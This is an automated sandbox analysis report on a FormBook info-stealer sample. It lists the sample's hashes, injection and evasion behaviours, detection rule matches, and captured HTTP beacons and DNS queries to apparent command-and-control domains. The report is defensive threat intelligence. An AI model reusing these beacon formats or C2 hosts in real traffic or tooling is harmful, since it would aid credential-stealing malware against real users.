Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
lgkWBwqY15.exe

Overview

General Information

Sample name:lgkWBwqY15.exe
renamed because original name is a hash value
Original sample name:f7104e580411fc3c981f8212806485b6c44313ad24efbf0b7caa322a5f3e71bc.exe
Analysis ID:1569367
MD5:18cc815cd549e5fb63b97d76424c3543
SHA1:1be292a87e26cd533252cef46a9272d9178f720c
SHA256:f7104e580411fc3c981f8212806485b6c44313ad24efbf0b7caa322a5f3e71bc
Tags:exeFormbookuser-adrian__luca
Infos:

Detection

FormBook
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Multi AV Scanner detection for submitted file
Yara detected FormBook
AI detected suspicious sample
Binary is likely a compiled AutoIt script file
Found direct / indirect Syscall (likely to bypass EDR)
Machine Learning detection for sample
Maps a DLL or memory area into another process
Modifies the context of a thread in another process (thread injection)
Performs DNS queries to domains with low reputation
Queues an APC in another process (thread injection)
Switches to a custom stack to bypass stack traces
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file / registry access)
Writes to foreign memory regions
Checks if the current process is being debugged
Contains functionality for execution timing, often used to detect debuggers
Contains functionality for read data from the clipboard
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to block mouse and keyboard input (often used to hinder debugging)
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
Contains functionality to communicate with device drivers
Contains functionality to dynamically determine API calls
Contains functionality to execute programs as a different user
Contains functionality to launch a process as a different user
Contains functionality to launch a program with higher privileges
Contains functionality to modify clipboard data
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query CPU information (cpuid)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate keystroke presses
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Extensive use of GetProcAddress (often used to hide API calls)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found evaded block containing many API calls
Found inlined nop instructions (likely shell or obfuscated code)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
OS version to string mapping found (often used in BOTs)
Potential key logger detected (key state polling based)
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: Suspicious RASdial Activity
Sigma detected: Uncommon Svchost Parent Process
Uses 32bit PE files
Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

  • System is w10x64
  • lgkWBwqY15.exe (PID: 7692 cmdline: "C:\Users\user\Desktop\lgkWBwqY15.exe" MD5: 18CC815CD549E5FB63B97D76424C3543)
    • svchost.exe (PID: 7780 cmdline: "C:\Users\user\Desktop\lgkWBwqY15.exe" MD5: 1ED18311E3DA35942DB37D15FA40CC5B)
      • EDoVdgyZMIcTRp.exe (PID: 6236 cmdline: "C:\Program Files (x86)\qAvXRemmclkNNelikCIjptDPcBYdMsWLgVOoWalP\EDoVdgyZMIcTRp.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)
        • rasdial.exe (PID: 8032 cmdline: "C:\Windows\SysWOW64\rasdial.exe" MD5: A280B0F42A83064C41CFFDC1CD35136E)
          • EDoVdgyZMIcTRp.exe (PID: 2720 cmdline: "C:\Program Files (x86)\qAvXRemmclkNNelikCIjptDPcBYdMsWLgVOoWalP\EDoVdgyZMIcTRp.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)
          • firefox.exe (PID: 7200 cmdline: "C:\Program Files\Mozilla Firefox\Firefox.exe" MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
Formbook, FormboFormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called "Babushka Crypter" by Insidemalware.
  • SWEED
  • Cobalt
https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook

Malware Configuration

⊘No configs have been found

Yara Signatures

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000005.00000002.3804477887.0000000003250000.00000040.80000000.00040000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
    00000005.00000002.3812598853.0000000004F20000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
      00000002.00000002.1663229690.00000000038E0000.00000040.10000000.00040000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
        00000006.00000002.3813749544.0000000002F30000.00000040.80000000.00040000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
          00000002.00000002.1663999831.0000000004000000.00000040.10000000.00040000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
            Click to see the 3 entries

            Unpacked PEs

            SourceRuleDescriptionAuthorStrings
            2.2.svchost.exe.400000.0.unpackJoeSecurity_FormBook_1Yara detected FormBookJoe Security
              2.2.svchost.exe.400000.0.raw.unpackJoeSecurity_FormBook_1Yara detected FormBookJoe Security

                Sigma Signatures

                System Summary

                barindex
                Sigma detected: Suspicious RASdial Activity
                Source: Process startedAuthor: juju4: Data: Command: "C:\Windows\SysWOW64\rasdial.exe", CommandLine: "C:\Windows\SysWOW64\rasdial.exe", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\rasdial.exe, NewProcessName: C:\Windows\SysWOW64\rasdial.exe, OriginalFileName: C:\Windows\SysWOW64\rasdial.exe, ParentCommandLine: "C:\Program Files (x86)\qAvXRemmclkNNelikCIjptDPcBYdMsWLgVOoWalP\EDoVdgyZMIcTRp.exe" , ParentImage: C:\Program Files (x86)\qAvXRemmclkNNelikCIjptDPcBYdMsWLgVOoWalP\EDoVdgyZMIcTRp.exe, ParentProcessId: 6236, ParentProcessName: EDoVdgyZMIcTRp.exe, ProcessCommandLine: "C:\Windows\SysWOW64\rasdial.exe", ProcessId: 8032, ProcessName: rasdial.exe
                Sigma detected: Uncommon Svchost Parent Process
                Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\Users\user\Desktop\lgkWBwqY15.exe", CommandLine: "C:\Users\user\Desktop\lgkWBwqY15.exe", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\lgkWBwqY15.exe", ParentImage: C:\Users\user\Desktop\lgkWBwqY15.exe, ParentProcessId: 7692, ParentProcessName: lgkWBwqY15.exe, ProcessCommandLine: "C:\Users\user\Desktop\lgkWBwqY15.exe", ProcessId: 7780, ProcessName: svchost.exe
                Sigma detected: Windows Processes Suspicious Parent Directory
                Source: Process startedAuthor: vburov: Data: Command: "C:\Users\user\Desktop\lgkWBwqY15.exe", CommandLine: "C:\Users\user\Desktop\lgkWBwqY15.exe", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\lgkWBwqY15.exe", ParentImage: C:\Users\user\Desktop\lgkWBwqY15.exe, ParentProcessId: 7692, ParentProcessName: lgkWBwqY15.exe, ProcessCommandLine: "C:\Users\user\Desktop\lgkWBwqY15.exe", ProcessId: 7780, ProcessName: svchost.exe

                Suricata Signatures

                ⊘No Suricata rule has matched

                Joe Sandbox Signatures

                Click to jump to signature section

                Show All Signature Results

                AV Detection

                barindex
                Multi AV Scanner detection for submitted file
                Source: lgkWBwqY15.exeReversingLabs: Detection: 68%
                Yara detected FormBook
                Source: Yara matchFile source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 00000005.00000002.3804477887.0000000003250000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000005.00000002.3812598853.0000000004F20000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.1663229690.00000000038E0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000006.00000002.3813749544.0000000002F30000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.1663999831.0000000004000000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000005.00000002.3813400282.0000000004F70000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.1662680828.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000004.00000002.3813389290.0000000002E40000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
                AI detected suspicious sample
                Source: Submited SampleIntegrated Neural Analysis Model: Matched 100.0% probability
                Machine Learning detection for sample
                Source: lgkWBwqY15.exeJoe Sandbox ML: detected
                Source: lgkWBwqY15.exeStatic PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
                Source: Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: EDoVdgyZMIcTRp.exe, 00000004.00000002.3806409031.0000000000DBE000.00000002.00000001.01000000.00000005.sdmp, EDoVdgyZMIcTRp.exe, 00000006.00000002.3809477474.0000000000DBE000.00000002.00000001.01000000.00000005.sdmp
                Source: Binary string: wntdll.pdbUGP source: lgkWBwqY15.exe, 00000000.00000003.1345880734.00000000039A0000.00000004.00001000.00020000.00000000.sdmp, lgkWBwqY15.exe, 00000000.00000003.1347480632.0000000003B90000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1663268363.0000000003A00000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1571386748.0000000003800000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1568089685.0000000003600000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1663268363.0000000003B9E000.00000040.00001000.00020000.00000000.sdmp, rasdial.exe, 00000005.00000002.3813852309.000000000531E000.00000040.00001000.00020000.00000000.sdmp, rasdial.exe, 00000005.00000003.1663014834.0000000004E21000.00000004.00000020.00020000.00000000.sdmp, rasdial.exe, 00000005.00000002.3813852309.0000000005180000.00000040.00001000.00020000.00000000.sdmp, rasdial.exe, 00000005.00000003.1665307271.0000000004FD3000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: rasdial.pdb source: svchost.exe, 00000002.00000002.1663010205.0000000003400000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1631946865.000000000341A000.00000004.00000020.00020000.00000000.sdmp, EDoVdgyZMIcTRp.exe, 00000004.00000002.3809733930.00000000012F7000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: wntdll.pdb source: lgkWBwqY15.exe, 00000000.00000003.1345880734.00000000039A0000.00000004.00001000.00020000.00000000.sdmp, lgkWBwqY15.exe, 00000000.00000003.1347480632.0000000003B90000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000002.00000002.1663268363.0000000003A00000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1571386748.0000000003800000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1568089685.0000000003600000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1663268363.0000000003B9E000.00000040.00001000.00020000.00000000.sdmp, rasdial.exe, rasdial.exe, 00000005.00000002.3813852309.000000000531E000.00000040.00001000.00020000.00000000.sdmp, rasdial.exe, 00000005.00000003.1663014834.0000000004E21000.00000004.00000020.00020000.00000000.sdmp, rasdial.exe, 00000005.00000002.3813852309.0000000005180000.00000040.00001000.00020000.00000000.sdmp, rasdial.exe, 00000005.00000003.1665307271.0000000004FD3000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: rasdial.pdbGCTL source: svchost.exe, 00000002.00000002.1663010205.0000000003400000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1631946865.000000000341A000.00000004.00000020.00020000.00000000.sdmp, EDoVdgyZMIcTRp.exe, 00000004.00000002.3809733930.00000000012F7000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: svchost.pdb source: rasdial.exe, 00000005.00000002.3807465479.0000000003569000.00000004.00000020.00020000.00000000.sdmp, rasdial.exe, 00000005.00000002.3814707564.00000000057AC000.00000004.10000000.00040000.00000000.sdmp, EDoVdgyZMIcTRp.exe, 00000006.00000000.1734132242.00000000032EC000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.1963385960.000000003AA2C000.00000004.80000000.00040000.00000000.sdmp
                Source: Binary string: svchost.pdbUGP source: rasdial.exe, 00000005.00000002.3807465479.0000000003569000.00000004.00000020.00020000.00000000.sdmp, rasdial.exe, 00000005.00000002.3814707564.00000000057AC000.00000004.10000000.00040000.00000000.sdmp, EDoVdgyZMIcTRp.exe, 00000006.00000000.1734132242.00000000032EC000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.1963385960.000000003AA2C000.00000004.80000000.00040000.00000000.sdmp
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeCode function: 0_2_005E6CA9 GetFileAttributesW,FindFirstFileW,FindClose,0_2_005E6CA9
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeCode function: 0_2_005E60DD _wcscat,_wcscat,__wsplitpath,FindFirstFileW,DeleteFileW,_wcscpy,_wcscat,_wcscat,lstrcmpiW,DeleteFileW,MoveFileW,MoveFileW,CopyFileW,DeleteFileW,CopyFileW,FindNextFileW,FindClose,FindClose,0_2_005E60DD
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeCode function: 0_2_005E63F9 _wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,DeleteFileW,FindNextFileW,FindClose,0_2_005E63F9
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeCode function: 0_2_005EEB60 FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,0_2_005EEB60
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeCode function: 0_2_005EF56F FindFirstFileW,FindClose,0_2_005EF56F
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeCode function: 0_2_005EF5FA FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,0_2_005EF5FA
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeCode function: 0_2_005F1B2F SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,0_2_005F1B2F
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeCode function: 0_2_005F1C8A SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,0_2_005F1C8A
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeCode function: 0_2_005F1F94 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,0_2_005F1F94
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_0326C8D0 FindFirstFileW,FindNextFileW,FindClose,5_2_0326C8D0
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 4x nop then xor eax, eax5_2_03259EF0
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 4x nop then mov ebx, 00000004h5_2_050604DE

                Networking

                barindex
                Performs DNS queries to domains with low reputation
                Source: DNS query: www.egldfi.xyz
                Source: DNS query: www.trendave.xyz
                Source: DNS query: www.soainsaat.xyz
                Source: DNS query: www.soainsaat.xyz
                Source: Joe Sandbox ViewIP Address: 130.185.109.77 130.185.109.77
                Source: Joe Sandbox ViewIP Address: 203.161.42.73 203.161.42.73
                Source: Joe Sandbox ViewASN Name: VNPT-AS-VNVNPTCorpVN VNPT-AS-VNVNPTCorpVN
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeCode function: 0_2_005F4EB5 InternetReadFile,InternetQueryDataAvailable,InternetReadFile,0_2_005F4EB5
                Source: global trafficHTTP traffic detected: GET /vl4d/?mZwPH=xrgxJbs&dTb4=QHNq3VljPHXHL8Z9j/8QJFBBwlzGlceqr4baOeL+2A69zWcjzNULNYjIURgj3Svvwd9B+/BgHSW8C8HA7Jym9BF13K8Q1XQhnhpOyo2cx8TBMgz6YBiUdrw= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeHost: www.75178.clubUser-Agent: Mozilla/5.0 (Linux; U; Android 4.0.4; en-gb; GT-S5301 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
                Source: global trafficHTTP traffic detected: GET /5onp/?dTb4=YQtAzQFhELh+NSSoDqDomWI7hzIl6D7m8iHa4W14s/j18xx0uDy8MYWH0B9/yw3XqDLZco6qWp6tHax8xys+fzOEqsDAm7S1kqbvRDHjk03D4Hi835h1BXQ=&mZwPH=xrgxJbs HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeHost: www.bcg.servicesUser-Agent: Mozilla/5.0 (Linux; U; Android 4.0.4; en-gb; GT-S5301 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
                Source: global trafficHTTP traffic detected: GET /bsyy/?mZwPH=xrgxJbs&dTb4=w9Wsyrfddra1GxcU+lvvJ4oQD8tz6DR/pSTnVJEXbHEmdfQx+6bPNdVPoslsCSigyUnMPNoyb3wBtIJwqnPVmQLOx1eC+oZSyzXb4OCTu1fvSZ9dZj0JPy4= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeHost: www.43kdd.topUser-Agent: Mozilla/5.0 (Linux; U; Android 4.0.4; en-gb; GT-S5301 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
                Source: global trafficHTTP traffic detected: GET /cv1w/?dTb4=KIRaABhBgujzn3KWmND9cpAT+69hyUlHf/kT3kOA8kciiH38vV9KVMyDNvMwVI643JmGXckFkIiptpvhjjDenyf/VaqFdBH2zeyTKHH5ggy7thA9ElsxqlA=&mZwPH=xrgxJbs HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeHost: www.lgdiamonds.infoUser-Agent: Mozilla/5.0 (Linux; U; Android 4.0.4; en-gb; GT-S5301 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
                Source: global trafficHTTP traffic detected: GET /lvda/?mZwPH=xrgxJbs&dTb4=ELDSXX2RsHX+gMhDzPeoz2Qv1CIr49o7uMJ0P3epR9C3wBGcH3Oc/iCy84j3rr0M4JJUpyIPXVKNA8OpCuWYtvAdB7YlcQ+QyNvs5R5nS8FwKp0R1nLwRVA= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeHost: www.jalan2.onlineUser-Agent: Mozilla/5.0 (Linux; U; Android 4.0.4; en-gb; GT-S5301 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
                Source: global trafficHTTP traffic detected: GET /nhcb/?dTb4=Jt/EBXmNn0Xont3Xv3TOM+yOUqyvoLVFu0H2rr3BW2spn453uaHrewE12DuyPcurf4Mzbuz0WqMTaNbmObgJDDiyl1OehOlyh0vowHWBwan18nHKSsm9apo=&mZwPH=xrgxJbs HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeHost: www.trendave.xyzUser-Agent: Mozilla/5.0 (Linux; U; Android 4.0.4; en-gb; GT-S5301 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
                Source: global trafficHTTP traffic detected: GET /1mwk/?mZwPH=xrgxJbs&dTb4=aP/gzvnIJweJBGAP5k7MvLtgtyUlB81i7lENLyBMprrjHPxpI72KmSEUutQfwM36acX1gmYQGU/DOh8WpWJorLzdOckpYXp0DuA2Yws6YfmvRtQ2inPSYBo= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeHost: www.nb-shenshi.buzzUser-Agent: Mozilla/5.0 (Linux; U; Android 4.0.4; en-gb; GT-S5301 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
                Source: global trafficHTTP traffic detected: GET /3g99/?dTb4=RytNeZ1XRv60mT65LsYQ5INcqxgXEBqckwx6IFoxcwMb7EGpIrhq/2Ikbe8axKxY7FzhI3ANlUXRki/bAaSaVR+YOqFGQWyyR84NXiU2Qjtx7QpSgO7A7TM=&mZwPH=xrgxJbs HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeHost: www.rysanekbeton.cloudUser-Agent: Mozilla/5.0 (Linux; U; Android 4.0.4; en-gb; GT-S5301 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
                Source: global trafficHTTP traffic detected: GET /0xli/?dTb4=fiwXgneLShVjQCrI9aBxnX/fmVewD7CFPQo9HslC8d9LCicIVxdgVPkWu4N9YPZNTEC7g2Z77mR61ZpsKE29+4q+gTyyPmzyfROIutba2dTwdDTCdKrAw2s=&mZwPH=xrgxJbs HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeHost: www.rafconstrutora.onlineUser-Agent: Mozilla/5.0 (Linux; U; Android 4.0.4; en-gb; GT-S5301 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
                Source: global trafficHTTP traffic detected: GET /qn33/?dTb4=99NzBUOu8EtmiwHIhwlVNNWIW2T1UOL90ZejPygVUj3ypAzbuWBUlAjLLmpNciJuv0EF7eUmh88cLf0Gn8IRWZq8N/WnBUbm+FhfiYpUJ/z5KGjHquGg3Rk=&mZwPH=xrgxJbs HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeHost: www.127358.winUser-Agent: Mozilla/5.0 (Linux; U; Android 4.0.4; en-gb; GT-S5301 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
                Source: global trafficHTTP traffic detected: GET /mjdo/?dTb4=6ADCnvQ9skB547daLlBnwuRETZKS6KcjeRNtw+K9MfX5BFQo5QxZgNYKE+M2PfHWzU0KXpv/hGs7jgBNQBXteaUjCoTmVUObwuEB7uMwswwY1BCYkFgxMwo=&mZwPH=xrgxJbs HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeHost: www.prototype.gardenUser-Agent: Mozilla/5.0 (Linux; U; Android 4.0.4; en-gb; GT-S5301 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
                Source: global trafficHTTP traffic detected: GET /jmkz/?dTb4=2/h6on3i5cEqQ5iv7IDFWRMTdWM2Mc2q2EbSJtEbgpp6+wmMOVJuzUCOWh5aW8O1XJ0bOuSOAqNryZfPUVNa1P4YKRIrovimkPK1vyRK5mZ59623Ms+MCds=&mZwPH=xrgxJbs HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeHost: www.rtpwslot888gol.sbsUser-Agent: Mozilla/5.0 (Linux; U; Android 4.0.4; en-gb; GT-S5301 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
                Source: rasdial.exe, 00000005.00000002.3817062205.0000000008000000.00000004.00000800.00020000.00000000.sdmp, rasdial.exe, 00000005.00000002.3814707564.0000000006E6C000.00000004.10000000.00040000.00000000.sdmp, EDoVdgyZMIcTRp.exe, 00000006.00000002.3814299965.00000000049AC000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: <li><a rel="nofollow" href="https://twitter.com/hover"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100"><circle cx="50" cy="50" r="50" /><g transform="scale(0.3 0.3) translate(-200 -300)"><path d="m 453.82593,412.80619 c -6.3097,2.79897 -13.09189,4.68982 -20.20852,5.54049 7.26413,-4.35454 12.84406,-11.24992 15.47067,-19.46675 -6.79934,4.03295 -14.3293,6.96055 -22.34461,8.53841 -6.41775,-6.83879 -15.56243,-11.111 -25.68298,-11.111 -19.43159,0 -35.18696,15.75365 -35.18696,35.18525 0,2.75781 0.31128,5.44359 0.91155,8.01875 -29.24344,-1.46723 -55.16995,-15.47582 -72.52461,-36.76396 -3.02879,5.19662 -4.76443,11.24048 -4.76443,17.6891 0,12.20777 6.21194,22.97747 15.65332,29.28716 -5.76773,-0.18265 -11.19331,-1.76565 -15.93716,-4.40083 -0.004,0.14663 -0.004,0.29412 -0.004,0.44248 0,17.04767 12.12889,31.26806 28.22555,34.50266 -2.95247,0.80436 -6.06101,1.23398 -9.26989,1.23398 -2.2673,0 -4.47114,-0.22124 -6.62011,-0.63114 4.47801,13.97857 17.47214,24.15143 32.86992,24.43441 -12.04227,9.43796 -27.21366,15.06335 -43.69965,15.06335 -2.84014,0 -5.64082,-0.16722 -8.39349,-0.49223 15.57186,9.98421 34.06703,15.8094 53.93768,15.8094 64.72024,0 100.11301,-53.61524 100.11301,-100.11387 0,-1.52554 -0.0343,-3.04251 -0.10204,-4.55261 6.87394,-4.95995 12.83891,-11.15646 17.55618,-18.21305 z" /></g></svg></a></li> equals www.twitter.com (Twitter)
                Source: rasdial.exe, 00000005.00000002.3817062205.0000000008000000.00000004.00000800.00020000.00000000.sdmp, rasdial.exe, 00000005.00000002.3814707564.0000000006E6C000.00000004.10000000.00040000.00000000.sdmp, EDoVdgyZMIcTRp.exe, 00000006.00000002.3814299965.00000000049AC000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: <li><a rel="nofollow" href="https://www.facebook.com/hover"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100"><circle cx="50" cy="50" r="50" /><g transform="scale(0.25 0.25) translate(30 50)"><path d="M182.409,262.307v-99.803h33.499l5.016-38.895h-38.515V98.777c0-11.261,3.127-18.935,19.275-18.935 l20.596-0.009V45.045c-3.562-0.474-15.788-1.533-30.012-1.533c-29.695,0-50.025,18.126-50.025,51.413v28.684h-33.585v38.895h33.585 v99.803H182.409z" /></g></svg></a></li> equals www.facebook.com (Facebook)
                Source: global trafficDNS traffic detected: DNS query: www.75178.club
                Source: global trafficDNS traffic detected: DNS query: www.bcg.services
                Source: global trafficDNS traffic detected: DNS query: www.egldfi.xyz
                Source: global trafficDNS traffic detected: DNS query: www.betmatchx.online
                Source: global trafficDNS traffic detected: DNS query: www.43kdd.top
                Source: global trafficDNS traffic detected: DNS query: www.lgdiamonds.info
                Source: global trafficDNS traffic detected: DNS query: www.jalan2.online
